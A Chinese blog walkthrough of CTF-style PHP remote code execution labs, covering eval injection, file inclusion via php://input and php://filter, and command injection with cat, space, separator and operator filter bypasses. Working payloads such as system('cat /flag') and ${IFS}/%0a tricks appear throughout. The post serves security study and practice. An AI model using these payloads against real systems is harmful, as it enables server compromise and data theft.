web基础之RCE

简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面

1、eval执行

(1)分析后端代码:
if (isset($_REQUEST['cmd']))检查是否从存在cmd参数;eval($_REQUEST["cmd"])如果cmd参数存在的话,则eval()函数会将用户传递进来的参数当作php代码执行!

(2)查看网站当前目录

复制代码
/?cmd=system("ls"); 

页面回显出来了index.php信息;并没有有用的文件;我们看一下上一级目录有啥文件吧;输入

复制代码
/?cmd=system("ls /"); 

好像找到了有关flag的信息

查看文件的信息

复制代码
?cmd=system("cat /flag_26015"); 

拿到flag

2、文件包含

文件包含

(1)分析后端代码

根据后端代码;首先输入?file=shell.txt;发现出现了eval函数;和上面不同的是通过post提交数据的;需要用hackbar插件或者通过bp抓包重发修改信息

(2)查看当前的目录文件(发现了index.php;shell.txt)

查看上一级目录的信息(看到etc flag文件)

复制代码
ctfhub=system("ls /") 

查看flag;输入

复制代码
ctfhub=system("cat /flag"); 

php://input伪协议

(1)php://input

php://input用于执行php代码;条件是allow_url_include是On;查看phpinfo文件;查看发现满足条件,直接利用!

(2)使用bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>点击send看到上一级目录有flag信息

修改为<?php system("cat /flag_27289");?>拿到flag

远程包含

(1)发现有phpinfo文件;进去看看;可以进行远程包含(allow_url_include=ON);可以使用php://input执行php函数

(2)利用hackbar插件(这里用不了;因为提交数据的方式是GET;只能用bp抓包重放修改信息

过程:url+?file=php://input;点击抓包;发送到repeater模块;然后修改GET为post;增加<?php system("ls /");?>;点击send;获得上一级目录信息;看到flag信息

修改playload:<?php system("cat /flag");?>;拿下flag

读取源代码

(1)这是尝试了一下php://input;发现漏洞点不在这;那可能就是php://filter;php://filter用于读取源码

(2)

题目提示:flag在 /flag当中;所以直接构造?file=php://filter/resource=../../../flag

复制代码
http://URL/?file=php://filter/resource=../../../flag 
3、命令注入

先导知识:

命令注入无过滤

(1)明确题目意思;查看当前目录下的文件

复制代码
127.0.0.1|ls 

使用cat 命令查看207971175014811.php文件;发现打不开;f12直接查看源码直接拿到flag;大佬的另一种方法就是使用base64解密

复制代码
127.0.0.1|cat 14430616024597.php|base64 

base64解密拿到flag

过滤cat

(1)cat命令被过滤了,在linux当中查看文件内容的命令有很多;比如 more head tail less;

eg:
cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行

输入:
127.0.0.1& more flag_90501846017901.php|base64

解密拿到flag

过滤空格

分析后端代码发现对空格进行了过滤;使用<;ifs ${IFS} %0d 等等代替空格(参考web渗透---RCE)
127.0.0.1&cat<flag_20135747217897.php|base64
过滤目录分隔符

输入127.0.0.1;ls,发现了flag_is_here目录;然后进入这个目录;查看这个目录包含的文件;输入127.0.0.1;cd flag_is_here;ls;发现了flag_4635141399483.php;输入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64,拿到flag;或者直接f12

过滤运算符

发现用不了运算符号了;那就使用;;然后输入127.0.0.1;cat flag_29492699725561.php直接f12查看源码;或者输入
127.0.0.1 ; base64 flag_29492699725561.php直接得到flag

综合过滤练习
自行寻找替换;很简单!为减少篇幅,此处不做过多赘述!

(1)查看服务器下的文件
&& <==> || <==> %0a <==> %0d

?ip=127.0.0.1%0als

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><

(2)查看存在flag文件目录下的文件

复制代码
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als 

(3)查看flag文件的内容

复制代码
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php 
相关推荐
介一安全4 小时前
【Web安全】泛微OA框架SRC高频漏洞分析总结
web安全·网络安全·安全性测试
emma羊羊7 小时前
【weblogic】文件上传漏洞
安全·网络安全·靶场·weblogic
jenchoi4137 小时前
【2025-11-01】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全
沐矢羽9 小时前
upload文件上传漏洞浅析
学习·web安全·网络安全·文件上传·top10
TOM写代码9 小时前
详解网络安全免杀对抗:攻防的猫鼠游戏
安全·web安全·网络安全
Pure_White_Sword9 小时前
Bugku-Web题目-cookies
web安全·网络安全·ctf
NewCarRen12 小时前
自动驾驶汽车与利益相关者互动的功能安全与网络安全分析方法
安全·网络安全·自动驾驶·汽车
Bruce_Liuxiaowei12 小时前
SMB签名关闭的安全风险探讨
运维·windows·安全·网络安全
贝塔实验室14 小时前
译码器的结构
驱动开发·算法·网络安全·fpga开发·硬件工程·信息与通信·信号处理
Cyyyy_g15 小时前
【2025 SWPU-NSSCTF 秋季训练赛】gift_F12
网络协议·网络安全·https·状态模式